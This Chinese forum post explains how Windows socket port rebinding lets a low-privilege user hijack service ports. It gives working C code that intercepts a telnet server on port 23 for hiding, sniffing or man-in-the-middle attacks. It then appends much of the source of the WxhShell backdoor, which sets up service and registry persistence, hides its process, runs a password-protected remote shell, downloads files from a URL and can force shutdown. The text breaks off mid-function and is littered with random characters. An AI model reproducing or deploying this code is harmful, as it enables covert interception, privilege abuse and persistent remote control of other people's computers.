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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Qx3eLfm  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,El!fgL  
n$L51#'  
  saddr.sin_family = AF_INET; @ EuFJ=h  
!0VfbY9C  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); f:JlZ&  
p<Z3tD;Z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )u:Q) %$t  
#o`Ny4sq/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ` |Z}2vo;j  
kma?v B  
  这意味着什么?意味着可以进行如下的攻击: <cN~jv-w$  
m:QG}{<.h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B^ 7eoW  
sY SLmUZ{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >p\e 0n  
NPnHH:\;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %:v`EjRD0  
=qVP]  9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~#K@ADYr  
:a[Ihqfg  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 tA.`k;LT  
L71!J0@a#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V<Z'(UI  
-T@`hk`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~EiH-z4U  
PyC0Q\$%  
  #include (?)7)5H  
  #include X@N$Z{  
  #include U\@A _ B  
  #include    I&yVx8aH}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Wzq>JNn y  
  int main() -Yi,_#3{  
  { )Q;978:  
  WORD wVersionRequested; KxGX\   
  DWORD ret; {2d_"lHBt  
  WSADATA wsaData; vT^Sk;E  
  BOOL val; Sb2v_o  
  SOCKADDR_IN saddr; w0m^ &,;#  
  SOCKADDR_IN scaddr; @exey  
  int err; oih5B<&f#  
  SOCKET s; {^)70Vz>PE  
  SOCKET sc; Pn.bVV:  
  int caddsize; K+\nC)oG  
  HANDLE mt; AEirj /  
  DWORD tid;   3L>IX8_   
  wVersionRequested = MAKEWORD( 2, 2 ); '_s}o<  
  err = WSAStartup( wVersionRequested, &wsaData ); {Bvj"mL]j  
  if ( err != 0 ) { ,Z9>h[JF  
  printf("error!WSAStartup failed!\n"); iO w3MfO  
  return -1; *hhmTc#  
  } /hWd/H]  
  saddr.sin_family = AF_INET; 4Aes#{R3v  
   ,Dmc2D  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]:]H:U]p  
)>\}~s  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ue:z1p;g  
  saddr.sin_port = htons(23); U%B(5cC  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rt7<Q47QE  
  { Z [Xa%~5>5  
  printf("error!socket failed!\n"); `NRH9l>B7  
  return -1; R@ Y=o].2  
  } MZv]s  
  val = TRUE; UM%o\BiO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _m E^rT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) P@}Pk  
  { 2/P"7A=<  
  printf("error!setsockopt failed!\n"); Et2JxbD  
  return -1; kTIYD o  
  } :t$aN|>y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ihe(F7\U  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8kL4~(hY  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R,2=&+ e  
D>L2o88  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ] f>]n  
  { \{\MxXW  
  ret=GetLastError(); $& ~;@*[  
  printf("error!bind failed!\n"); D87|q4  
  return -1; ,<,:8B  
  } &a)eJF]:!  
  listen(s,2); E|EgB33S  
  while(1)  NW9n  
  { l3o#@sz:  
  caddsize = sizeof(scaddr); u0)7i.!M  
  //接受连接请求 #G]!%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); FyL_xu\e  
  if(sc!=INVALID_SOCKET) yoe}$f4  
  { imL_lw^?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); r`\A nT?  
  if(mt==NULL) FN[R(SLbL  
  { N^0uit  
  printf("Thread Creat Failed!\n"); i8X`HbmN  
  break; ;Q0bT`/X  
  }  4-Z()F  
  } ;$j7H&UNQj  
  CloseHandle(mt); Btt]R  
  } Yepe=s+9  
  closesocket(s); er.L7  
  WSACleanup(); al9.}  
  return 0; x<i}_@Sn_+  
  }   QrG`&QN  
  DWORD WINAPI ClientThread(LPVOID lpParam) gIEl.  
  { f7de'^t9  
  SOCKET ss = (SOCKET)lpParam; zzGYiF ?  
  SOCKET sc; pI[ZBoR~  
  unsigned char buf[4096]; ,3DXFV'uxb  
  SOCKADDR_IN saddr; Fig&&b a  
  long num; 9 t n!t  
  DWORD val; ;,'igdold  
  DWORD ret; X~.f7Ao[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1n*W2:,z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~`#-d ^s:  
  saddr.sin_family = AF_INET; (WlIwKP  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .S\&L-{  
  saddr.sin_port = htons(23); [&S}dQ"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Oeya%C5'  
  { -ZOBAG*  
  printf("error!socket failed!\n"); d^ ZMS~\*  
  return -1; H&}ipaDO  
  } 'BMy8  
  val = 100; %WFu<^jm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S*)1|~pRvQ  
  { E N^Uki`  
  ret = GetLastError(); RuW!*LI  
  return -1;  r}_c  
  } 'Yy&G\S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) { >{B`e`$  
  { ) iQ   
  ret = GetLastError(); p\v Mc\  
  return -1; gieJ}Bv  
  } Ft JjY@#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) M&Y .;  
  { 9~IQw#<  
  printf("error!socket connect failed!\n"); 0"k |H&  
  closesocket(sc); 3B0lb "e  
  closesocket(ss); [t]X/O3<  
  return -1; cFd > oDS  
  } i=FQGWAUu  
  while(1) *DI)?  
  { v`q\6i[-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XkKC!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (kBP(2V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?|;yVew  
  num = recv(ss,buf,4096,0); 5-u=o )>  
  if(num>0) 72 TI  
  send(sc,buf,num,0); J<n+\F-s  
  else if(num==0) '8FC<=+p[  
  break; }S_oH9A  
  num = recv(sc,buf,4096,0); }_.:+H!@  
  if(num>0) mZk0@C&:6  
  send(ss,buf,num,0); vW,snxK6y&  
  else if(num==0) %5Kq^]q;Y  
  break; 4R +.N  
  } ]Z<_ " F  
  closesocket(ss); c/W=$3  
  closesocket(sc); f5RE9%.#~  
  return 0 ; u?+bW-D'd  
  }  Wa/g`}  
e59dVFug.U  
P3tx|:gV  
========================================================== 7iC *Pr  
TTNk r`  
下边附上一个代码,,WXhSHELL "L"150Ih  
{43yb_B(  
========================================================== i?;r7>  
g8;D/  
#include "stdafx.h" mo]KCi  
`RQ#.   
#include <stdio.h> 92W&x'  
#include <string.h> 3cl9wWlJ_E  
#include <windows.h> 1pp -=$k  
#include <winsock2.h> WUdKLx %F  
#include <winsvc.h> e= P  
#include <urlmon.h> JYqSL)Ta*t  
nCg66-3A  
#pragma comment (lib, "Ws2_32.lib")  EEy$w1ec  
#pragma comment (lib, "urlmon.lib") d4[(8} x$/  
Tq<2`*Qs  
#define MAX_USER   100 // 最大客户端连接数 [}mA`5  
#define BUF_SOCK   200 // sock buffer JEn3`B!*  
#define KEY_BUFF   255 // 输入 buffer r WtZj}A  
=#5D(0Ab  
#define REBOOT     0   // 重启 <T?oKOD ]  
#define SHUTDOWN   1   // 关机 OqhD7 +  
6V9doP]i  
#define DEF_PORT   5000 // 监听端口 &`|:L(+  
~K_Uq*dCE  
#define REG_LEN     16   // 注册表键长度 <{(/E0~V/<  
#define SVC_LEN     80   // NT服务名长度 ^o?SM^  
X##1! ad  
// 从dll定义API !SOrCMHx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eZhPu'id\s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dP$GThGl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M s9E@E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qgt[~i*  
x90*yaw>h  
// wxhshell配置信息 :)f7A7:;  
struct WSCFG { pfuW  
  int ws_port;         // 监听端口 Lr;(xw\['  
  char ws_passstr[REG_LEN]; // 口令 z~6y+  
  int ws_autoins;       // 安装标记, 1=yes 0=no z1OFcqm  
  char ws_regname[REG_LEN]; // 注册表键名 EfLO5$?rm  
  char ws_svcname[REG_LEN]; // 服务名 td2/9|Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w-B^ [<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u?ek|%Ok  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I&c ~8Dw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )-rW&"{U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H14Ic.&  
YO)$M-]>%J  
}; AT Zhr. H  
AZ|yX  
// default Wxhshell configuration V2Q$g^X'  
struct WSCFG wscfg={DEF_PORT, ` D7C?M#j]  
    "xuhuanlingzhe", ewNz%_2  
    1, Myat{OF  
    "Wxhshell", dth&?/MERL  
    "Wxhshell", z"4]5&3A  
            "WxhShell Service", HY;o ^drd  
    "Wrsky Windows CmdShell Service", cNpe_LvW  
    "Please Input Your Password: ", 4o:hyh   
  1, wbyE;W  
  "http://www.wrsky.com/wxhshell.exe", =tTqN+4  
  "Wxhshell.exe" ^(}585b  
    }; @*N )i?>  
]Hj<IvG  
// 消息定义模块 wle@v Cmr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Gnm4gF!BI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v ]Sl<%ry  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gJt`?8t  
char *msg_ws_ext="\n\rExit."; 6~:Sgt nU  
char *msg_ws_end="\n\rQuit."; .ujT!{>v/  
char *msg_ws_boot="\n\rReboot..."; W) j|rz.  
char *msg_ws_poff="\n\rShutdown..."; Wm'QP4`  
char *msg_ws_down="\n\rSave to "; [ //R~i?  
5y2? f  
char *msg_ws_err="\n\rErr!"; F,Xo|jjj  
char *msg_ws_ok="\n\rOK!"; eg"Gjp- 4=  
nq} Q  
char ExeFile[MAX_PATH]; 8 S`9dSc  
int nUser = 0; >C WKH~  
HANDLE handles[MAX_USER]; egR9AEJvz  
int OsIsNt; 3LR p2(A  
RIM`omM  
SERVICE_STATUS       serviceStatus; Z{IUy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BIaDY<j90  
 c9''  
// 函数声明 $h9='0Wi0'  
int Install(void); `D( xv  
int Uninstall(void); rR ES8/  
int DownloadFile(char *sURL, SOCKET wsh); 4W4kwU6D  
int Boot(int flag); q"KnLA(  
void HideProc(void); T@wcHg  
int GetOsVer(void); -37a.  
int Wxhshell(SOCKET wsl); a^qNJ?R !  
void TalkWithClient(void *cs); Y-piL8Xc  
int CmdShell(SOCKET sock); O u>u %  
int StartFromService(void); q+SD6qM  
int StartWxhshell(LPSTR lpCmdLine); u/b7Z`yX}  
kID[#g'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q0?\]2eet9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gIWrlIV{9  
mAgF73,3  
// 数据结构和表定义 J`M&{UP  
SERVICE_TABLE_ENTRY DispatchTable[] = |XYEn7^r  
{ JN/UUfj  
{wscfg.ws_svcname, NTServiceMain}, ?q`0ZuAg\<  
{NULL, NULL} \2[<XG(^  
}; TG48%L  
$FH18  
// 自我安装 r90+,aLM#?  
int Install(void) n>,L=wV  
{ ;:S&F  
  char svExeFile[MAX_PATH]; (9\;A*CZ  
  HKEY key; 6q<YJ.,  
  strcpy(svExeFile,ExeFile); yAT^VRbv  
{s?M*_{|  
// 如果是win9x系统,修改注册表设为自启动 ivO/;)=t  
if(!OsIsNt) { hjZ}C+=O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CDj~;$[B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C#rc@r,F  
  RegCloseKey(key); JE 5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;^ wd_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {n3EGSP#  
  RegCloseKey(key); uy_wp^  
  return 0; yZ]:y-1  
    } RT/o$$  
  } oq/G`{`\  
} gC%G;-gm  
else { Agh`]XQ2  
,y`CRlr:  
// 如果是NT以上系统,安装为系统服务 h<<>3A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); # m R4fst  
if (schSCManager!=0) Mk<Vydds  
{ lLq<xf  
  SC_HANDLE schService = CreateService .%BT,$1K  
  ( Mk 0+D#  
  schSCManager, 8eIUsI.o  
  wscfg.ws_svcname, i=a-<A5x  
  wscfg.ws_svcdisp, 2'jOP" G  
  SERVICE_ALL_ACCESS, #qU-j/Qf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gbOpj3  
  SERVICE_AUTO_START, !{et8F@d|  
  SERVICE_ERROR_NORMAL, j*@l"V>~  
  svExeFile, [sV"ws  
  NULL, }K1 0Po'  
  NULL, <F7kh[L_x  
  NULL, <`X"}I3 ba  
  NULL, v!3A9!.  
  NULL #v#<itfFH  
  ); S>G?Q_&}?D  
  if (schService!=0) -hcS]~F  
  { ]G.%Ty  
  CloseServiceHandle(schService); p?[Tm*r  
  CloseServiceHandle(schSCManager); ( GnuWc\p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `J<*9dq%  
  strcat(svExeFile,wscfg.ws_svcname); 2I3h M D0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _!;Me )C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1Q;}z Hd  
  RegCloseKey(key); 6h?gs"[j  
  return 0; C fEmT8sa  
    } CHd9l]Rbe  
  } 4!Z5og1kn  
  CloseServiceHandle(schSCManager); m`#Od^vk  
} vzzE-(\\e  
} #?MY&hdU9  
JTqDr  
return 1; _iKq~\v2  
} `0H g y=  
c$ S{^IQ  
// 自我卸载 .LVQx  
int Uninstall(void) Ng><n}  
{ h2z_,`iS7  
  HKEY key; 682Z}"I0  
eg<bi@C1|  
if(!OsIsNt) { # ,uya2!)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %98' @$:0  
  RegDeleteValue(key,wscfg.ws_regname); &wd;EGGT!q  
  RegCloseKey(key); ]Y6cwZOe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -m'j]1  
  RegDeleteValue(key,wscfg.ws_regname); ^2d!*W|  
  RegCloseKey(key); AT2v!mNyCw  
  return 0; K/m3  
  } VUTacA Y>L  
} /-zXM;h  
} hc (e$##  
else { nMDxH $O  
rWys'uc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <9ig?{'  
if (schSCManager!=0) CO-_ea U(  
{ GWsE;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rqv))Zo`  
  if (schService!=0) {l_{T4xToB  
  { @uo ~nFj,  
  if(DeleteService(schService)!=0) { Yw5'6NU  
  CloseServiceHandle(schService); -yxOBq  
  CloseServiceHandle(schSCManager); ~pa!w?/bQ  
  return 0; IJTtqo  
  } Qjx?ri//  
  CloseServiceHandle(schService); s?8<50s  
  } 9[!,c`pw  
  CloseServiceHandle(schSCManager); $,I q;*7N  
} (%iRaw7hp  
} MRU7W4W-~/  
s}5cSU!|  
return 1; b[z]CP  
} bNT9 H`P  
l1ZY1#%j  
// 从指定url下载文件 PcB_oG g  
int DownloadFile(char *sURL, SOCKET wsh) ]# t6Jwk  
{ gVeEdo`$<  
  HRESULT hr; Z, BC*  
char seps[]= "/"; Ehz o05/!  
char *token; Va Z!.#(P  
char *file; dd2[yKC`  
char myURL[MAX_PATH]; Y|8v O  
char myFILE[MAX_PATH]; \xg]oKbn  
Y`+=p@2O2o  
strcpy(myURL,sURL); k6`6Mjbc  
  token=strtok(myURL,seps); L lqM c  
  while(token!=NULL) (F7(^.MG  
  { j4=(H:c~E  
    file=token; zf3v5Hk  
  token=strtok(NULL,seps); yH][(o=2  
  } AM=z`0so  
kq\)MQ"/X  
GetCurrentDirectory(MAX_PATH,myFILE); .CP& bJP%  
strcat(myFILE, "\\"); zMIT}$L  
strcat(myFILE, file); Zmbfq8K  
  send(wsh,myFILE,strlen(myFILE),0); dr4Z5mw"E  
send(wsh,"...",3,0); I ZQHu h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); No2b" G@  
  if(hr==S_OK) t1E[uu,V8  
return 0; 6c0>gUQx-  
else /0\ mx4u  
return 1; G0E121`h  
#plY\0E@  
} ~>9_(L  
q2HYiH^L  
// 系统电源模块 4k./(f2+  
int Boot(int flag) &.TTJsKG h  
{ U%0Ty|$Y   
  HANDLE hToken; gGfoO[B  
  TOKEN_PRIVILEGES tkp; x8GJY~:SW  
ZiLj=bh  
  if(OsIsNt) { o1nURJ!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o\vBOp?hj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8p[)MiC5W^  
    tkp.PrivilegeCount = 1; Vh>Z,()>>@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p~LrPWHSTP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n~VD uKn9  
if(flag==REBOOT) { <nEi<iAY>U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G "P4-  
  return 0; f6$b s+oP  
} q -8t'7  
else { 3Hf0MAt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .s$z/Jv  
  return 0; D7_*k%;@  
} VK@!lJ u!  
  }  Q1@A2+ c  
  else { 0527Wj  
if(flag==REBOOT) { |Ph3#^rM?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "`N-*;*W  
  return 0; \W,I?Kx$  
} 36US5ef  
else { B=|cS;bM$3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X$/2[o#g  
  return 0; dH( ('u[  
} a22XDes=  
} q+,Q<2J  
Jmx Ko+-  
return 1; 4@xE8`+b G  
} f 2l{^E#h  
G@j0rnn>B  
// win9x进程隐藏模块 hlt[\LP=$  
void HideProc(void) [$[:"N_  
{ *hcYGLx r  
cu+FM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m.,U:>  
  if ( hKernel != NULL ) I!^O)4QRx  
  { fFQ|T:vm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [` sL?&a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #:SNHM^><  
    FreeLibrary(hKernel); 4`,j = 3  
  } Dc)dE2  
1^gl}^|B  
return; Z1"v}g  
} X.:]=,aGW  
$MJm*6h  
// 获取操作系统版本 5h;+Ky!I  
int GetOsVer(void) ~Jf{4*>y  
{ k1Q ?'<`  
  OSVERSIONINFO winfo; j&k6O1_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); orb_"Qw  
  GetVersionEx(&winfo); + nF'a(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G8Du~h!!U  
  return 1; oY, %Iq  
  else .YuJJJv  
  return 0; "Wx]RN:  
} ~g.$|^,.O/  
kBN+4Dr/$  
// 客户端句柄模块 0Lb4'25.  
int Wxhshell(SOCKET wsl) Jec'`,Y  
{ K #.  
  SOCKET wsh; zP<pEI  
  struct sockaddr_in client; R4-~jgzx  
  DWORD myID; tsk)zP,<  
!F?XLekTi  
  while(nUser<MAX_USER) }\C-} Q  
{ &\_iOw8  
  int nSize=sizeof(client); 9?k_y ZV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uG<}N=  
  if(wsh==INVALID_SOCKET) return 1; MHa#?Q9  
*z7dl5xJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )+fh-Ui  
if(handles[nUser]==0) ZK)%l~J  
  closesocket(wsh); 33}oO,}t,  
else U,LTVYrO  
  nUser++;  Tgl}  
  } A<y nIs<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G$sA`<<  
71l%MH  
  return 0; TiH) 5  
} `/_G$_  
4ni3kmvX  
// 关闭 socket M+x,opl  
void CloseIt(SOCKET wsh) "!EcbR  
{ C"{k7yT  
closesocket(wsh); QPq7R  
nUser--; KZeQ47|  
ExitThread(0); 0Zg%+)iy@  
} 0#MqD[U(  
//aF5 :Y#  
// 客户端请求句柄 Gw1@KKg  
void TalkWithClient(void *cs) :Lz\yARpk  
{ )(@Hd  
7hcNf,  
  SOCKET wsh=(SOCKET)cs; /Ju;MeE9  
  char pwd[SVC_LEN]; zLJ/5&  
  char cmd[KEY_BUFF]; 1m.W<  
char chr[1]; 3g6j?yYqb  
int i,j; ()H:UvM=t  
Km^&<3ch#  
  while (nUser < MAX_USER) { *2GEnAZb7n  
J4\qEO  
if(wscfg.ws_passstr) { h5K$mA5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CoA6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8}(]]ayl  
  //ZeroMemory(pwd,KEY_BUFF); xL" |)A =  
      i=0; I&YSQK:b  
  while(i<SVC_LEN) { :GJ &_YHf  
& j+oJasI  
  // 设置超时 M8TSt\  
  fd_set FdRead; -ne Kuj  
  struct timeval TimeOut; uAWM \?  
  FD_ZERO(&FdRead); Zcc9e 03  
  FD_SET(wsh,&FdRead); `Ry]y"K  
  TimeOut.tv_sec=8; LupkrxV  
  TimeOut.tv_usec=0; :Q@&5!]>d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +k>.Q0n%m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b4pm_Um  
=ha{Ziryo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); & :7ZQ1  
  pwd=chr[0]; k%G1i-] 4  
  if(chr[0]==0xd || chr[0]==0xa) { o-Ga3i 8  
  pwd=0; Z R'H \Z  
  break; i _%Q`i  
  } h3;bxq!q  
  i++; RG4sQ0  
    } J.| +ID+  
@|tL8?  
  // 如果是非法用户,关闭 socket 9tqF8pb7v  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PV=5UyjW  
} Gmz6$^D   
?pza G{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5;{H&O9Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mtj h`  
FeTL&$O  
while(1) { piZJJYv t  
jNC4_q&  
  ZeroMemory(cmd,KEY_BUFF); 0xXC^jx:  
9*(aU z9j  
      // 自动支持客户端 telnet标准   |*0<M(YXN  
  j=0; GbaEgA'fa  
  while(j<KEY_BUFF) { f-7 1~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x UD-iSY  
  cmd[j]=chr[0]; qZA).12qS  
  if(chr[0]==0xa || chr[0]==0xd) { `FC(  
  cmd[j]=0; Kc^;vT>3  
  break; LoGVwRmoC  
  } Y(cGk#0  
  j++; W}]%X4<#rN  
    } NSDv ;|f  
=7o"u3hG  
  // 下载文件 ?%y?rk <  
  if(strstr(cmd,"http://")) { ) v,:N.@Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ck|8qUz-  
  if(DownloadFile(cmd,wsh)) Ht4;5?/y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5kz)5,KjM  
  else ,c)uX#1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4%3M b-#Y]  
  } QhK#Y{xY  
  else { go<W( ,O  
..R-Ms)k=  
    switch(cmd[0]) { [bk?!0]aV  
  KFwzy U"  
  // 帮助 yu/`h5&*  
  case '?': { [ E ]E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c*@E_}C#  
    break; g'm+/pU)w)  
  }  1OF& *  
  // 安装 E3iW-B8u8  
  case 'i': { :B:"NyPA  
    if(Install()) ^:Gie  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n= u&uqA*  
    else &sL&\+=<(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?28N ^  
    break; r|qp3x  
    } JQ@E>o7_  
  // 卸载 [YcG(^^  
  case 'r': { McQe1  
    if(Uninstall()) d $Pab*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 FW \O0U  
    else oczN5YSt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `6xkf&Kt  
    break; & J2M1z%  
    } [F6U+1n8e  
  // 显示 wxhshell 所在路径 SK#(#OQoh  
  case 'p': { *9{Z$IA9w  
    char svExeFile[MAX_PATH]; 7F{3*`/6  
    strcpy(svExeFile,"\n\r"); '5|h)Q5  
      strcat(svExeFile,ExeFile); | ]X  
        send(wsh,svExeFile,strlen(svExeFile),0); k<\$OoOZ  
    break; &E=>Hj(dTG  
    } UaB @  
  // 重启 0ok-IHE<  
  case 'b': { vTx2E6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k-{<=>uM  
    if(Boot(REBOOT)) sH[ROm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u!W0P6   
    else { +lMX{es\O  
    closesocket(wsh); Y1J=3Y  
    ExitThread(0); A"rfZ`  
    } LpqO{#ZG  
    break; ftF@Wq1f  
    } E }nH1  
  // 关机 ^*Yh@4\{JH  
  case 'd': { ^kB8F"X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $H9%J  
